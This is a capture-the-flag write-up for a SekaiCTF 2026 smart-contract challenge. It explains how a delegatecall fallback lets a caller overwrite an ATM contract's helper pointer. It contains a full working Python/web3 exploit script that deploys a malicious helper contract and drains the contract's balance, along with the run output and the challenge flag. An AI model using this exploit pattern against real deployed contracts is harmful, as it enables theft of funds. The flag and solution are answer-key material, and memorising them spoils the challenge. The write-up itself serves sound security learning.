[!NOTE] CTF CHALLENGE OVERVIEW
- CTF Event:
SekaiCTF 2026- Category:
Writeup- Difficulty:
[MEDIUM]- Tools Used:
Python 3- Author / Writeup:
LIGHT
Flag: SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}
Description: I fixed the issue. I think…
The attachment was an AES-encrypted ZIP. The note gave the password from the first challenge, so I tested it with 7z before looking at the contracts.
7z t -p'SEKAI{3Z_re3ntr4ncy_atTack5}' '/home/LIGHT/CTF/pp-farming-2/blockchain_pp-farming-2.zip'Testing archive: /home/LIGHT/CTF/pp-farming-2/blockchain_pp-farming-2.zip--Path = /home/LIGHT/CTF/pp-farming-2/blockchain_pp-farming-2.zipType = zipPhysical Size = 3890
Everything is Ok
Files: 2Size: 3450Compressed: 3890The deployment script creates a PerformancePointHelper and a PerformancePointATM funded with 10 ether. The challenge is solved when the ATM balance is zero.
PerformancePointHelper helper = new PerformancePointHelper();PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));The ATM stores the helper address in slot 1, because scores is the mapping at slot 0 and performancePointHelper is the next state variable.
mapping(address => uint256) public scores;address public performancePointHelper;bool public locked;The obvious reentrancy path was blocked with a locked modifier, and direct fallback calls to processWithdrawal(address,uint256) were rejected. But the fallback still delegatecalled any other selector into the helper.
fallback() external payable { address _impl = performancePointHelper;
bytes4 selector = msg.sig;
// Block withdrawing without proxy bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)")); require(selector != initSelector, "processWithdrawal blocked");
assembly { let ptr := mload(0x40) // Get free memory pointer calldatacopy(ptr, 0, calldatasize()) // Copy calldata to memory
let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) // Delegatecall returndatacopy(ptr, 0, returndatasize()) // Copy return data
if iszero(success) { revert(ptr, returndatasize()) // Revert if delegatecall failed } return(ptr, returndatasize()) // Return data if successful }}That made PerformancePointHelper.setATM(address) dangerous. A normal call to setATM changes atm in the helper, but a delegatecall through the ATM writes to the ATM’s slot 1 instead. Slot 1 is performancePointHelper, so calling setATM(evil) through fallback replaces the helper implementation.
function setATM(address _atm) public { atm = _atm;}The replacement helper kept the same first three storage variables so the layout matched the original helper, and its processWithdrawal sent address(this).balance. Under delegatecall, address(this) is the ATM, so a single withdrawal drains the whole contract instead of the caller’s score.
import osfrom solcx import compile_source, set_solc_version, install_solcfrom web3 import Web3
ATM_ABI = [ {"inputs": [], "name": "withdrawPP", "outputs": [], "stateMutability": "nonpayable", "type": "function"}, {"inputs": [{"internalType": "address", "name": "_to", "type": "address"}], "name": "donatePP", "outputs": [], "stateMutability": "payable", "type": "function"}, {"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "performancePointHelper", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},]
EVIL_SOURCE = r'''// SPDX-License-Identifier: MITpragma solidity ^0.8.20;
contract EvilHelper { uint256 id_number; address public atm; bool public helping;
function processWithdrawal(address payable recipient, uint256) external returns (bool) { (bool success, ) = recipient.call{value: address(this).balance}(""); return success; }}'''
def require_env(name: str) -> str: value = os.environ.get(name) if not value: raise SystemExit(f"Missing required env var: {name}") return value
def send(w3, account, tx): tx.setdefault("from", account.address) tx.setdefault("nonce", w3.eth.get_transaction_count(account.address)) tx.setdefault("chainId", w3.eth.chain_id) if "maxFeePerGas" not in tx and "maxPriorityFeePerGas" not in tx: try: tx.setdefault("gasPrice", w3.eth.gas_price) except Exception: pass if "gas" not in tx: tx["gas"] = int(w3.eth.estimate_gas(tx) * 1.3) signed = account.sign_transaction(tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) if receipt.status != 1: raise RuntimeError(f"Transaction failed: {tx_hash.hex()}") return receipt
def main(): rpc_url = require_env("RPC_URL") private_key = require_env("PRIVATE_KEY") atm_address = Web3.to_checksum_address(require_env("ATM_ADDRESS"))
w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={ "timeout": 30, "headers": {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"}, })) account = w3.eth.account.from_key(private_key) print("player", account.address) print("atm", atm_address) print("initial_balance", w3.eth.get_balance(atm_address))
try: set_solc_version("0.8.20") except Exception: install_solc("0.8.20", show_progress=False) set_solc_version("0.8.20")
compiled = compile_source(EVIL_SOURCE, output_values=["abi", "bin"]) _, iface = next(iter(compiled.items())) evil_contract = w3.eth.contract(abi=iface["abi"], bytecode=iface["bin"]) receipt = send(w3, account, evil_contract.constructor().build_transaction({"from": account.address})) evil = Web3.to_checksum_address(receipt.contractAddress) print("evil", evil)
atm = w3.eth.contract(address=atm_address, abi=ATM_ABI)
selector = Web3.keccak(text="setATM(address)")[:4] calldata = selector + bytes.fromhex(evil[2:].rjust(64, "0")) send(w3, account, {"to": atm_address, "data": calldata}) print("helper_after_overwrite", atm.functions.performancePointHelper().call())
send(w3, account, atm.functions.donatePP(account.address).build_transaction({"from": account.address, "value": 1})) send(w3, account, atm.functions.withdrawPP().build_transaction({"from": account.address}))
final_balance = w3.eth.get_balance(atm_address) solved = atm.functions.isSolved().call() print("final_balance", final_balance) print("isSolved", solved) if not solved: raise SystemExit("Exploit transaction completed but challenge is not solved")
if __name__ == "__main__": main()The remote instance used 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff as the ATM. The exploit deployed the malicious helper at 0xfCbd6b0693907F450509128e8701f037D74a7bA8, changed the ATM helper pointer to that address, donated 1 wei, and called withdrawPP().
RPC_URL='https://eth.chals.sekai.team/wamLUbTHyhRUYRzQxJGWvbuu/main' PRIVATE_KEY='<redacted>' ATM_ADDRESS='0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff' python solve_remote.pyplayer 0x2eeF6349B0E355b3A2Fe55F7777720d1e4481748atm 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ffinitial_balance 10000000000000000000evil 0xfCbd6b0693907F450509128e8701f037D74a7bA8helper_after_overwrite 0xfCbd6b0693907F450509128e8701f037D74a7bA8final_balance 0isSolved TrueAfter isSolved returned true, pressing the challenge’s get-flag button returned SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}.